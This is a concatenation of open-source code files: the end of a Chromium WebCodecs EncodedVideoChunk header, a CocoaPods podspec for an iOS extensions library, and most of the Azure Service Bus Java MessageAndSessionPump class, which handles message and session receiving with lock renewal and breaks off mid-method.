#include "third_party/blink/renderer/bindings/core/v8/v8_typedefs.h"
#include "third_party/blink/renderer/modules/modules_export.h"
#include "third_party/blink/renderer/modules/webcodecs/allow_shared_buffer_source_util.h"
#include "third_party/blink/renderer/platform/bindings/script_wrappable.h"
namespace blink {
class EncodedVideoChunkInit;
class ExceptionState;
class MODULES_EXPORT EncodedVideoChunk final : public ScriptWrappable {
DEFINE_WRAPPERTYPEINFO();
public:
explicit EncodedVideoChunk(scoped_refptr<media::DecoderBuffer> buffer);
static EncodedVideoChunk* Create(EncodedVideoChunkInit* init);
// encoded_video_chunk.idl implementation.
String type() const;
int64_t timestamp() const;
absl::optional<uint64_t> duration() const;
uint64_t byteLength() const;
void copyTo(const AllowSharedBufferSource* destination,
ExceptionState& exception_state);
scoped_refptr<media::DecoderBuffer> buffer() const { return buffer_; }
private:
scoped_refptr<media::DecoderBuffer> buffer_;
};
} // namespace blink
#endif // THIRD_PARTY_BLINK_RENDERER_MODULES_WEBCODECS_ENCODED_VIDEO_CHUNK_H_
| 562 |
5,169 | {
"name": "UIExtensions",
"version": "1.0.0",
"summary": "Extensions for developers",
"description": "Extensions for developers to reduce efforts of re-writing common codes each and everytime. Like setting sideview icons for 'UITextField', simple alerts with 'OK' button and so many other things.",
"homepage": "https://github.com/HRD0701/UIExtensions",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"HRD0701": "<EMAIL>"
},
"source": {
"git": "https://github.com/HRD0701/UIExtensions.git",
"tag": "1.0.0"
},
"platforms": {
"ios": "9.0"
},
"source_files": "UIExtensions/Classes/**/*",
"pushed_with_swift_version": "4.0"
}
| 271 |
1,350 | <gh_stars>1000+
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.microsoft.azure.servicebus;
import java.time.Duration;
import java.time.Instant;
import java.util.Map;
import java.util.UUID;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.ForkJoinPool;
import java.util.concurrent.ScheduledFuture;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.microsoft.azure.servicebus.primitives.ExceptionUtil;
import com.microsoft.azure.servicebus.primitives.MessageLockLostException;
import com.microsoft.azure.servicebus.primitives.MessagingEntityType;
import com.microsoft.azure.servicebus.primitives.MessagingFactory;
import com.microsoft.azure.servicebus.primitives.OperationCancelledException;
import com.microsoft.azure.servicebus.primitives.ServiceBusException;
import com.microsoft.azure.servicebus.primitives.SessionLockLostException;
import com.microsoft.azure.servicebus.primitives.StringUtil;
import com.microsoft.azure.servicebus.primitives.TimeoutException;
import com.microsoft.azure.servicebus.primitives.Timer;
import com.microsoft.azure.servicebus.primitives.TimerType;
class MessageAndSessionPump extends InitializableEntity implements IMessageAndSessionPump {
private static final Logger TRACE_LOGGER = LoggerFactory.getLogger(MessageAndSessionPump.class);
private static final Duration MINIMUM_MESSAGE_LOCK_VALIDITY = Duration.ofSeconds(4);
private static final Duration MAXIMUM_RENEW_LOCK_BUFFER = Duration.ofSeconds(10);
private static final int UNSET_PREFETCH_COUNT = -1; // Means prefetch count not set
private static final CompletableFuture<Void> COMPLETED_FUTURE = CompletableFuture.completedFuture(null);
private final ConcurrentHashMap<String, IMessageSession> openSessions;
private final MessagingFactory factory;
private final String entityPath;
private final ReceiveMode receiveMode;
private final MessagingEntityType entityType;
private IMessageReceiver innerReceiver;
private boolean handlerRegistered = false;
private IMessageHandler messageHandler;
private ISessionHandler sessionHandler;
private MessageHandlerOptions messageHandlerOptions;
private SessionHandlerOptions sessionHandlerOptions;
private int prefetchCount;
private ExecutorService customCodeExecutor;
MessageAndSessionPump(MessagingFactory factory, String entityPath, MessagingEntityType entityType, ReceiveMode receiveMode) {
super(StringUtil.getShortRandomString());
this.factory = factory;
this.entityPath = entityPath;
this.entityType = entityType;
this.receiveMode = receiveMode;
this.openSessions = new ConcurrentHashMap<>();
this.prefetchCount = UNSET_PREFETCH_COUNT;
}
@Deprecated
@Override
public void registerMessageHandler(IMessageHandler handler) throws InterruptedException, ServiceBusException {
this.registerMessageHandler(handler, new MessageHandlerOptions());
}
@Override
public void registerMessageHandler(IMessageHandler handler, ExecutorService executorService) throws InterruptedException, ServiceBusException {
this.registerMessageHandler(handler, new MessageHandlerOptions(), executorService);
}
@Deprecated
@Override
public void registerMessageHandler(IMessageHandler handler, MessageHandlerOptions handlerOptions) throws InterruptedException, ServiceBusException {
this.registerMessageHandler(handler, handlerOptions, ForkJoinPool.commonPool());
}
@Override
public void registerMessageHandler(IMessageHandler handler, MessageHandlerOptions handlerOptions, ExecutorService executorService) throws InterruptedException, ServiceBusException {
assertNonNulls(handler, handlerOptions, executorService);
TRACE_LOGGER.info("Registering message handler on entity '{}' with '{}'", this.entityPath, handlerOptions);
this.setHandlerRegistered();
this.messageHandler = handler;
this.messageHandlerOptions = handlerOptions;
this.customCodeExecutor = executorService;
this.innerReceiver = ClientFactory.createMessageReceiverFromEntityPath(this.factory, this.entityPath, this.entityType, this.receiveMode);
TRACE_LOGGER.info("Created MessageReceiver to entity '{}'", this.entityPath);
if (this.prefetchCount != UNSET_PREFETCH_COUNT) {
this.innerReceiver.setPrefetchCount(this.prefetchCount);
}
for (int i = 0; i < handlerOptions.getMaxConcurrentCalls(); i++) {
this.receiveAndPumpMessage();
}
}
@Deprecated
@Override
public void registerSessionHandler(ISessionHandler handler) throws InterruptedException, ServiceBusException {
this.registerSessionHandler(handler, new SessionHandlerOptions());
}
@Override
public void registerSessionHandler(ISessionHandler handler, ExecutorService executorService) throws InterruptedException, ServiceBusException {
this.registerSessionHandler(handler, new SessionHandlerOptions(), executorService);
}
@Deprecated
@Override
public void registerSessionHandler(ISessionHandler handler, SessionHandlerOptions handlerOptions) throws InterruptedException, ServiceBusException {
this.registerSessionHandler(handler, handlerOptions, ForkJoinPool.commonPool());
}
@Override
public void registerSessionHandler(ISessionHandler handler, SessionHandlerOptions handlerOptions, ExecutorService executorService) throws InterruptedException, ServiceBusException {
assertNonNulls(handler, handlerOptions, executorService);
TRACE_LOGGER.info("Registering session handler on entity '{}' with '{}'", this.entityPath, handlerOptions);
this.setHandlerRegistered();
this.sessionHandler = handler;
this.sessionHandlerOptions = handlerOptions;
this.customCodeExecutor = executorService;
for (int i = 0; i < handlerOptions.getMaxConcurrentSessions(); i++) {
this.acceptSessionAndPumpMessages();
}
}
private static void assertNonNulls(Object handler, Object options, ExecutorService executorService) {
if (handler == null || options == null || executorService == null) {
throw new IllegalArgumentException("None of the arguments can be null.");
}
}
private synchronized void setHandlerRegistered() {
this.throwIfClosed(null);
// Only one handler is allowed to be registered per client
if (this.handlerRegistered) {
throw new UnsupportedOperationException("MessageHandler or SessionHandler already registered.");
}
this.handlerRegistered = true;
}
private void receiveAndPumpMessage() {
if (!this.getIsClosingOrClosed()) {
CompletableFuture<IMessage> receiveMessageFuture = receiveAsyncWrapper(this.innerReceiver, this.messageHandlerOptions.getMessageWaitDuration());
receiveMessageFuture.handleAsync((message, receiveEx) -> {
if (receiveEx != null) {
receiveEx = ExceptionUtil.extractAsyncCompletionCause(receiveEx);
TRACE_LOGGER.info("Receiving message from entity '{}' failed.", this.entityPath, receiveEx);
this.notifyExceptionToMessageHandler(receiveEx, ExceptionPhase.RECEIVE);
this.receiveAndPumpMessage();
} else {
if (message == null) {
TRACE_LOGGER.debug("Receive from entity '{}' returned no messages.", this.entityPath);
this.receiveAndPumpMessage();
} else {
TRACE_LOGGER.trace("Message with sequence number '{}' received from entity '{}'.", message.getSequenceNumber(), this.entityPath);
// Start renew lock loop
final MessgeRenewLockLoop renewLockLoop;
if (this.innerReceiver.getReceiveMode() == ReceiveMode.PEEKLOCK) {
Instant stopRenewMessageLockAt = Instant.now().plus(this.messageHandlerOptions.getMaxAutoRenewDuration());
renewLockLoop = new MessgeRenewLockLoop(this.innerReceiver, this, message, stopRenewMessageLockAt);
renewLockLoop.startLoop();
TRACE_LOGGER.trace("Started loop to renew lock on message with sequence number '{}' until '{}'", message.getSequenceNumber(), stopRenewMessageLockAt);
} else {
renewLockLoop = null;
}
CompletableFuture<Void> onMessageFuture;
try {
TRACE_LOGGER.debug("Invoking onMessage with message containing sequence number '{}'", message.getSequenceNumber());
onMessageFuture = COMPLETED_FUTURE.thenComposeAsync((v) -> this.messageHandler.onMessageAsync(message), this.customCodeExecutor);
} catch (Exception onMessageSyncEx) {
TRACE_LOGGER.info("Invocation of onMessage with message containing sequence number '{}' threw unexpected exception", message.getSequenceNumber(), onMessageSyncEx);
onMessageFuture = new CompletableFuture<Void>();
onMessageFuture.completeExceptionally(onMessageSyncEx);
}
// Some clients are returning null from the call
if (onMessageFuture == null) {
onMessageFuture = COMPLETED_FUTURE;
}
onMessageFuture.handleAsync((v, onMessageEx) -> {
if (onMessageEx != null) {
onMessageEx = ExceptionUtil.extractAsyncCompletionCause(onMessageEx);
TRACE_LOGGER.info("onMessage with message containing sequence number '{}' threw exception", message.getSequenceNumber(), onMessageEx);
this.notifyExceptionToMessageHandler(onMessageEx, ExceptionPhase.USERCALLBACK);
}
if (this.innerReceiver.getReceiveMode() == ReceiveMode.PEEKLOCK) {
if (renewLockLoop != null) {
renewLockLoop.cancelLoop();
TRACE_LOGGER.trace("Cancelled loop to renew lock on message with sequence number '{}'", message.getSequenceNumber());
}
CompletableFuture<Void> updateDispositionFuture;
ExceptionPhase dispositionPhase;
if (onMessageEx == null) {
// Complete message
dispositionPhase = ExceptionPhase.COMPLETE;
if (this.messageHandlerOptions.isAutoComplete()) {
TRACE_LOGGER.debug("Completing message with sequence number '{}'", message.getSequenceNumber());
updateDispositionFuture = completeAsyncWrapper(this.innerReceiver, message.getLockToken());
} else {
updateDispositionFuture = CompletableFuture.completedFuture(null);
}
} else {
// Abandon message
dispositionPhase = ExceptionPhase.ABANDON;
if (this.messageHandlerOptions.isAutoComplete()) {
TRACE_LOGGER.debug("Abandoning message with sequence number '{}'", message.getSequenceNumber());
updateDispositionFuture = abandonAsyncWrapper(this.innerReceiver, message.getLockToken());
} else {
updateDispositionFuture = CompletableFuture.completedFuture(null);
}
}
updateDispositionFuture.handleAsync((u, updateDispositionEx) -> {
if (updateDispositionEx != null) {
updateDispositionEx = ExceptionUtil.extractAsyncCompletionCause(updateDispositionEx);
TRACE_LOGGER.info("{} message with sequence number '{}' failed", dispositionPhase == ExceptionPhase.COMPLETE ? "Completing" : "Abandoning", message.getSequenceNumber(), updateDispositionEx);
this.notifyExceptionToMessageHandler(updateDispositionEx, dispositionPhase);
}
this.receiveAndPumpMessage();
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
} else {
this.receiveAndPumpMessage();
}
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
}
}
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
}
}
private void acceptSessionAndPumpMessages() {
if (!this.getIsClosingOrClosed()) {
TRACE_LOGGER.debug("Accepting a session from entity '{}'", this.entityPath);
CompletableFuture<IMessageSession> acceptSessionFuture = ClientFactory.acceptSessionFromEntityPathAsync(this.factory, this.entityPath, this.entityType, null, this.receiveMode);
acceptSessionFuture.handleAsync((session, acceptSessionEx) -> {
if (acceptSessionEx != null) {
acceptSessionEx = ExceptionUtil.extractAsyncCompletionCause(acceptSessionEx);
// Timeout exception means no session available.. it is expected so no need to notify client
if (!(acceptSessionEx instanceof TimeoutException)) {
TRACE_LOGGER.info("Accepting a session from entity '{}' failed.", this.entityPath, acceptSessionEx);
this.notifyExceptionToSessionHandler(acceptSessionEx, ExceptionPhase.ACCEPTSESSION);
}
if (!(acceptSessionEx instanceof OperationCancelledException)) {
// don't retry if OperationCancelled by service.. may be entity itself is deleted
// In case of any other exception, retry
TRACE_LOGGER.debug("Retrying to acceptSession from entity '{}'.", this.entityPath);
this.acceptSessionAndPumpMessages();
}
} else {
// Received a session.. Now pump messages..
TRACE_LOGGER.debug("Accepted a session '{}' from entity '{}'", session.getSessionId(), this.entityPath);
if (this.prefetchCount != UNSET_PREFETCH_COUNT) {
try {
session.setPrefetchCount(this.prefetchCount);
} catch (ServiceBusException e) {
// Should not happen as long as reactor is running. So ignoring
}
}
this.openSessions.put(session.getSessionId(), session);
SessionRenewLockLoop sessionRenewLockLoop = new SessionRenewLockLoop(session, this);
sessionRenewLockLoop.startLoop();
TRACE_LOGGER.debug("Started loop to renew lock on session '{}'", session.getSessionId());
SessionTracker sessionTracker = new SessionTracker(this, session, sessionRenewLockLoop);
for (int i = 0; i < this.sessionHandlerOptions.getMaxConcurrentCallsPerSession(); i++) {
this.receiveFromSessionAndPumpMessage(sessionTracker);
}
}
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
}
}
private void receiveFromSessionAndPumpMessage(SessionTracker sessionTracker) {
if (!this.getIsClosingOrClosed()) {
IMessageSession session = sessionTracker.getSession();
CompletableFuture<IMessage> receiverFuture = receiveAsyncWrapper(session, this.sessionHandlerOptions.getMessageWaitDuration());
receiverFuture.handleAsync((message, receiveEx) -> {
if (receiveEx != null) {
receiveEx = ExceptionUtil.extractAsyncCompletionCause(receiveEx);
TRACE_LOGGER.info("Receiving message from session '{}' on entity '{}' failed.", session.getSessionId(), this.entityPath, receiveEx);
this.notifyExceptionToSessionHandler(receiveEx, ExceptionPhase.RECEIVE);
sessionTracker.shouldRetryOnNoMessageOrException().thenAcceptAsync((shouldRetry) -> {
if (shouldRetry) {
this.receiveFromSessionAndPumpMessage(sessionTracker);
}
}, MessagingFactory.INTERNAL_THREAD_POOL);
} else {
if (message == null) {
TRACE_LOGGER.debug("Receive from from session '{}' on entity '{}' returned no messages.", session.getSessionId(), this.entityPath);
sessionTracker.shouldRetryOnNoMessageOrException().thenAcceptAsync((shouldRetry) -> {
if (shouldRetry) {
this.receiveFromSessionAndPumpMessage(sessionTracker);
}
}, MessagingFactory.INTERNAL_THREAD_POOL);
} else {
TRACE_LOGGER.trace("Message with sequence number '{}' received from session '{}' on entity '{}'.", message.getSequenceNumber(), session.getSessionId(), this.entityPath);
sessionTracker.notifyMessageReceived();
// There is no need to renew message locks as session messages are locked for a day
ScheduledFuture<?> renewCancelTimer = Timer.schedule(() -> {
TRACE_LOGGER.info("onMessage task timed out. Cancelling loop to renew lock on session '{}'", session.getSessionId());
sessionTracker.sessionRenewLockLoop.cancelLoop();
},
this.sessionHandlerOptions.getMaxAutoRenewDuration(),
TimerType.OneTimeRun);
TRACE_LOGGER.debug("Invoking onMessage with message containing sequence number '{}'", message.getSequenceNumber());
CompletableFuture<Void> onMessageFuture;
try {
onMessageFuture = COMPLETED_FUTURE.thenComposeAsync((v) -> this.sessionHandler.onMessageAsync(session, message), this.customCodeExecutor);
} catch (Exception onMessageSyncEx) {
TRACE_LOGGER.info("Invocation of onMessage with message containing sequence number '{}' threw unexpected exception", message.getSequenceNumber(), onMessageSyncEx);
onMessageFuture = new CompletableFuture<Void>();
onMessageFuture.completeExceptionally(onMessageSyncEx);
}
// Some clients are returning null from the call
if (onMessageFuture == null) {
onMessageFuture = COMPLETED_FUTURE;
}
onMessageFuture.handleAsync((v, onMessageEx) -> {
renewCancelTimer.cancel(true);
if (onMessageEx != null) {
onMessageEx = ExceptionUtil.extractAsyncCompletionCause(onMessageEx);
TRACE_LOGGER.info("onMessage with message containing sequence number '{}' threw exception", message.getSequenceNumber(), onMessageEx);
this.notifyExceptionToSessionHandler(onMessageEx, ExceptionPhase.USERCALLBACK);
}
if (this.receiveMode == ReceiveMode.PEEKLOCK) {
CompletableFuture<Void> updateDispositionFuture;
ExceptionPhase dispositionPhase;
if (onMessageEx == null) {
// Complete message
dispositionPhase = ExceptionPhase.COMPLETE;
if (this.sessionHandlerOptions.isAutoComplete()) {
TRACE_LOGGER.debug("Completing message with sequence number '{}'", message.getSequenceNumber());
updateDispositionFuture = completeAsyncWrapper(session, message.getLockToken());
} else {
updateDispositionFuture = CompletableFuture.completedFuture(null);
}
} else {
// Abandon message
dispositionPhase = ExceptionPhase.ABANDON;
if (this.sessionHandlerOptions.isAutoComplete()) {
TRACE_LOGGER.debug("Abandoning message with sequence number '{}'", message.getSequenceNumber());
updateDispositionFuture = abandonAsyncWrapper(session, message.getLockToken());
} else {
updateDispositionFuture = CompletableFuture.completedFuture(null);
}
}
updateDispositionFuture.handleAsync((u, updateDispositionEx) -> {
if (updateDispositionEx != null) {
updateDispositionEx = ExceptionUtil.extractAsyncCompletionCause(updateDispositionEx);
TRACE_LOGGER.info("{} message with sequence number '{}' failed", dispositionPhase == ExceptionPhase.COMPLETE ? "Completing" : "Abandoning", message.getSequenceNumber(), updateDispositionEx);
this.notifyExceptionToSessionHandler(updateDispositionEx, dispositionPhase);
}
this.receiveFromSessionAndPumpMessage(sessionTracker);
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
} else {
this.receiveFromSessionAndPumpMessage(sessionTracker);
}
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
}
}
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
}
}
@Override
CompletableFuture<Void> initializeAsync() {
return CompletableFuture.completedFuture(null);
}
@Override
protected CompletableFuture<Void> onClose() {
TRACE_LOGGER.info("Closing message and session pump on entity '{}'", this.entityPath);
CompletableFuture[] closeFutures = new CompletableFuture[this.openSessions.size() + 1];
int arrayIndex = 0;
for (IMessageSession session : this.openSessions.values()) {
closeFutures[arrayIndex++] = session.closeAsync();
}
closeFutures[arrayIndex] = this.innerReceiver == null ? CompletableFuture.completedFuture(null) : this.innerReceiver.closeAsync();
return CompletableFuture.allOf(closeFutures);
}
private static class SessionTracker {
private final int numberReceivingThreads;
private final IMessageSession session;
private final MessageAndSessionPump messageAndSessionPump;
private final SessionRenewLockLoop sessionRenewLockLoop;
private int waitingRetryThreads;
private CompletableFuture<Boolean> retryFuture;
SessionTracker(MessageAndSessionPump messageAndSessionPump, IMessageSession session, SessionRenewLockLoop sessionRenewLockLoop) {
this.messageAndSessionPump = messageAndSessionPump;
this.session = session;
this.sessionRenewLockLoop = sessionRenewLockLoop;
this.numberReceivingThreads = messageAndSessionPump.sessionHandlerOptions.getMaxConcurrentCallsPerSession();
this.waitingRetryThreads = 0;
}
public IMessageSession getSession() {
return this.session;
}
synchronized void notifyMessageReceived() {
TRACE_LOGGER.trace("Message received from session '{}'", this.session.getSessionId());
if (this.retryFuture != null && !this.retryFuture.isDone()) {
this.waitingRetryThreads = 0;
this.retryFuture.complete(true);
}
}
synchronized CompletableFuture<Boolean> shouldRetryOnNoMessageOrException() {
if (this.retryFuture == null || this.retryFuture.isDone()) {
this.retryFuture = new CompletableFuture<>();
}
this.waitingRetryThreads++;
if (this.waitingRetryThreads == this.numberReceivingThreads) {
TRACE_LOGGER.info("No messages recevied by any receive call from session '{}'. Closing the session.", this.session.getSessionId());
this.retryFuture.complete(false);
// close current session and accept another session
ScheduledFuture<?> renewCancelTimer = Timer.schedule(() -> {
TRACE_LOGGER.info("Closing session timed out. Cancelling loop to renew lock on session '{}'", this.session.getSessionId());
SessionTracker.this.sessionRenewLockLoop.cancelLoop();
},
this.messageAndSessionPump.sessionHandlerOptions.getMaxAutoRenewDuration(),
TimerType.OneTimeRun);
CompletableFuture<Void> onCloseFuture;
try {
onCloseFuture = COMPLETED_FUTURE.thenComposeAsync((v) -> this.messageAndSessionPump.sessionHandler.OnCloseSessionAsync(session), this.messageAndSessionPump.customCodeExecutor);
} catch (Exception onCloseSyncEx) {
TRACE_LOGGER.info("Invocation of onCloseSession on session '{}' threw unexpected exception", this.session.getSessionId(), onCloseSyncEx);
onCloseFuture = new CompletableFuture<>();
onCloseFuture.completeExceptionally(onCloseSyncEx);
}
// Some clients are returning null from the call
if (onCloseFuture == null) {
onCloseFuture = COMPLETED_FUTURE;
}
onCloseFuture.handleAsync((v, onCloseEx) -> {
renewCancelTimer.cancel(true);
if (onCloseEx != null) {
onCloseEx = ExceptionUtil.extractAsyncCompletionCause(onCloseEx);
TRACE_LOGGER.info("onCloseSession on session '{}' threw exception", session.getSessionId(), onCloseEx);
this.messageAndSessionPump.notifyExceptionToSessionHandler(onCloseEx, ExceptionPhase.USERCALLBACK);
}
this.sessionRenewLockLoop.cancelLoop();
TRACE_LOGGER.debug("Cancelled loop to renew lock on session '{}'", this.session.getSessionId());
this.session.closeAsync().handleAsync((z, closeEx) -> {
if (closeEx != null) {
closeEx = ExceptionUtil.extractAsyncCompletionCause(closeEx);
TRACE_LOGGER.info("Closing session '{}' from entity '{}' failed", this.session.getSessionId(), this.messageAndSessionPump.entityPath, closeEx);
this.messageAndSessionPump.notifyExceptionToSessionHandler(closeEx, ExceptionPhase.SESSIONCLOSE);
} else {
TRACE_LOGGER.info("Closed session '{}' from entity '{}'", this.session.getSessionId(), this.messageAndSessionPump.entityPath);
}
this.messageAndSessionPump.openSessions.remove(this.session.getSessionId());
this.messageAndSessionPump.acceptSessionAndPumpMessages();
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
}
return this.retryFuture;
}
}
private abstract static class RenewLockLoop {
private boolean cancelled = false;
protected RenewLockLoop() {
}
protected abstract void loop();
protected abstract ScheduledFuture<?> getTimerFuture();
protected boolean isCancelled() {
return this.cancelled;
}
public void startLoop() {
this.loop();
}
public void cancelLoop() {
if (!this.cancelled) {
this.cancelled = true;
ScheduledFuture<?> timerFuture = this.getTimerFuture();
if (timerFuture != null && !timerFuture.isDone()) {
timerFuture.cancel(true);
}
}
}
protected static Duration getNextRenewInterval(Instant lockedUntilUtc, String identifier) {
Duration remainingTime = Duration.between(Instant.now(), lockedUntilUtc);
if (remainingTime.isNegative()) {
// Lock likely expired. May be there is clock skew. Assume some minimum time
remainingTime = MessageAndSessionPump.MINIMUM_MESSAGE_LOCK_VALIDITY;
TRACE_LOGGER.info("Lock of '{}' already expired. May be there is clock skew. Still trying to renew lock", identifier);
}
Duration buffer = remainingTime.dividedBy(2).compareTo(MAXIMUM_RENEW_LOCK_BUFFER) > 0 ? MAXIMUM_RENEW_LOCK_BUFFER : remainingTime.dividedBy(2);
TRACE_LOGGER.debug("Lock of '{}' is valid for '{}'. It will be renewed '{}' before it expires.", identifier, remainingTime, buffer);
return remainingTime.minus(buffer);
}
}
private static class MessgeRenewLockLoop extends RenewLockLoop {
private IMessageReceiver innerReceiver;
private MessageAndSessionPump messageAndSessionPump;
private IMessage message;
private Instant stopRenewalAt;
private String messageIdentifier;
ScheduledFuture<?> timerFuture;
MessgeRenewLockLoop(IMessageReceiver innerReceiver, MessageAndSessionPump messageAndSessionPump, IMessage message, Instant stopRenewalAt) {
super();
this.innerReceiver = innerReceiver;
this.messageAndSessionPump = messageAndSessionPump;
this.message = message;
this.stopRenewalAt = stopRenewalAt;
this.messageIdentifier = String.format("message with locktoken : %s, sequence number : %s", this.message.getLockToken(), this.message.getSequenceNumber());
}
@Override
protected ScheduledFuture<?> getTimerFuture() {
return this.timerFuture;
}
@Override
protected void loop() {
if (!this.isCancelled()) {
Duration renewInterval = this.getNextRenewInterval();
if (renewInterval != null && !renewInterval.isNegative()) {
this.timerFuture = Timer.schedule(() -> {
TRACE_LOGGER.debug("Renewing lock on '{}'", this.messageIdentifier);
renewMessageLockAsyncWrapper(this.innerReceiver, message).handleAsync((v, renewLockEx) -> {
if (renewLockEx != null) {
renewLockEx = ExceptionUtil.extractAsyncCompletionCause(renewLockEx);
TRACE_LOGGER.info("Renewing lock on '{}' failed", this.messageIdentifier, renewLockEx);
this.messageAndSessionPump.notifyExceptionToMessageHandler(renewLockEx, ExceptionPhase.RENEWMESSAGELOCK);
if (!(renewLockEx instanceof MessageLockLostException || renewLockEx instanceof OperationCancelledException)) {
this.loop();
}
} else {
TRACE_LOGGER.debug("Renewed lock on '{}'", this.messageIdentifier);
this.loop();
}
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
}, renewInterval, TimerType.OneTimeRun);
}
}
}
private Duration getNextRenewInterval() {
if (this.message.getLockedUntilUtc().isBefore(stopRenewalAt)) {
return RenewLockLoop.getNextRenewInterval(this.message.getLockedUntilUtc(), this.messageIdentifier);
} else {
return null;
}
}
}
private static class SessionRenewLockLoop extends RenewLockLoop {
private IMessageSession session;
private MessageAndSessionPump messageAndSessionPump;
private String sessionIdentifier;
ScheduledFuture<?> timerFuture;
SessionRenewLockLoop(IMessageSession session, MessageAndSessionPump messageAndSessionPump) {
super();
this.session = session;
this.messageAndSessionPump = messageAndSessionPump;
this.sessionIdentifier = String.format("session with id:%s", this.session.getSessionId());
}
@Override
protected ScheduledFuture<?> getTimerFuture() {
return this.timerFuture;
}
@Override
protected void loop() {
if (!this.isCancelled()) {
Duration renewInterval = RenewLockLoop.getNextRenewInterval(this.session.getLockedUntilUtc(), this.sessionIdentifier);
if (renewInterval != null && !renewInterval.isNegative()) {
this.timerFuture = Timer.schedule(() -> {
TRACE_LOGGER.debug("Renewing lock on '{}'", this.sessionIdentifier);
renewSessionLockAsyncWrapper(this.session).handleAsync((v, renewLockEx) -> {
if (renewLockEx != null) {
renewLockEx = ExceptionUtil.extractAsyncCompletionCause(renewLockEx);
TRACE_LOGGER.info("Renewing lock on '{}' failed", this.sessionIdentifier, renewLockEx);
this.messageAndSessionPump.notifyExceptionToSessionHandler(renewLockEx, ExceptionPhase.RENEWSESSIONLOCK);
if (!(renewLockEx instanceof SessionLockLostException || renewLockEx instanceof OperationCancelledException)) {
this.loop();
}
} else {
TRACE_LOGGER.debug("Renewed lock on '{}'", this.sessionIdentifier);
this.loop();
}
return null;
}, MessagingFactory.INTERNAL_THREAD_POOL);
}, renewInterval, TimerType.OneTimeRun);
}
}
}
}
@Override
public void abandon(UUID lockToken) throws InterruptedException, ServiceBusException {
this.abandon(lockToken, TransactionContext.NULL_TXN);
}
@Override
public void abandon(UUID lockToken, TransactionContext transaction) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.abandon(lockToken, transaction);
}
@Override
public void abandon(UUID lockToken, Map<String, Object> propertiesToModify) throws InterruptedException, ServiceBusException {
this.abandon(lockToken, propertiesToModify, TransactionContext.NULL_TXN);
}
@Override
public void abandon(UUID lockToken, Map<String, Object> propertiesToModify, TransactionContext transaction) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.abandon(lockToken, propertiesToModify, transaction);
}
@Override
public CompletableFuture<Void> abandonAsync(UUID lockToken) {
return this.abandonAsync(lockToken, TransactionContext.NULL_TXN);
}
@Override
public CompletableFuture<Void> abandonAsync(UUID lockToken, TransactionContext transaction) {
this.checkInnerReceiveCreated();
return this.innerReceiver.abandonAsync(lockToken, transaction);
}
@Override
public CompletableFuture<Void> abandonAsync(UUID lockToken, Map<String, Object> propertiesToModify) {
return this.abandonAsync(lockToken, propertiesToModify, TransactionContext.NULL_TXN);
}
@Override
public CompletableFuture<Void> abandonAsync(UUID lockToken, Map<String, Object> propertiesToModify, TransactionContext transaction) {
this.checkInnerReceiveCreated();
return this.innerReceiver.abandonAsync(lockToken, propertiesToModify, transaction);
}
@Override
public void complete(UUID lockToken) throws InterruptedException, ServiceBusException {
this.complete(lockToken, TransactionContext.NULL_TXN);
}
@Override
public void complete(UUID lockToken, TransactionContext transaction) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.complete(lockToken, transaction);
}
@Override
public CompletableFuture<Void> completeAsync(UUID lockToken) {
return this.completeAsync(lockToken, TransactionContext.NULL_TXN);
}
@Override
public CompletableFuture<Void> completeAsync(UUID lockToken, TransactionContext transaction) {
this.checkInnerReceiveCreated();
return this.innerReceiver.completeAsync(lockToken, transaction);
}
// @Override
void defer(UUID lockToken) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.defer(lockToken);
}
// @Override
void defer(UUID lockToken, Map<String, Object> propertiesToModify) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.defer(lockToken, propertiesToModify);
}
// @Override
// public CompletableFuture<Void> deferAsync(UUID lockToken) {
// this.checkInnerReceiveCreated();
// return this.innerReceiver.abandonAsync(lockToken);
// }
//
// @Override
// public CompletableFuture<Void> deferAsync(UUID lockToken, Map<String, Object> propertiesToModify) {
// this.checkInnerReceiveCreated();
// return this.innerReceiver.abandonAsync(lockToken, propertiesToModify);
// }
@Override
public void deadLetter(UUID lockToken) throws InterruptedException, ServiceBusException {
this.deadLetter(lockToken, TransactionContext.NULL_TXN);
}
@Override
public void deadLetter(UUID lockToken, TransactionContext transaction) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.deadLetter(lockToken, transaction);
}
@Override
public void deadLetter(UUID lockToken, Map<String, Object> propertiesToModify) throws InterruptedException, ServiceBusException {
this.deadLetter(lockToken, propertiesToModify, TransactionContext.NULL_TXN);
}
@Override
public void deadLetter(UUID lockToken, Map<String, Object> propertiesToModify, TransactionContext transaction) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.deadLetter(lockToken, propertiesToModify, transaction);
}
@Override
public void deadLetter(UUID lockToken, String deadLetterReason, String deadLetterErrorDescription) throws InterruptedException, ServiceBusException {
this.deadLetter(lockToken, deadLetterReason, deadLetterErrorDescription, TransactionContext.NULL_TXN);
}
@Override
public void deadLetter(UUID lockToken, String deadLetterReason, String deadLetterErrorDescription, TransactionContext transaction) throws InterruptedException, ServiceBusException {
this.checkInnerReceiveCreated();
this.innerReceiver.deadLetter(lockToken, deadLetterReason, deadLetterErrorDescription, transaction);
}
@Override
public void deadLetter(UUID lockToken, String deadLetterReason, String deadLetterErrorDescription, Map<String, Object> propertiesToModify) throws InterruptedException, ServiceBusException {
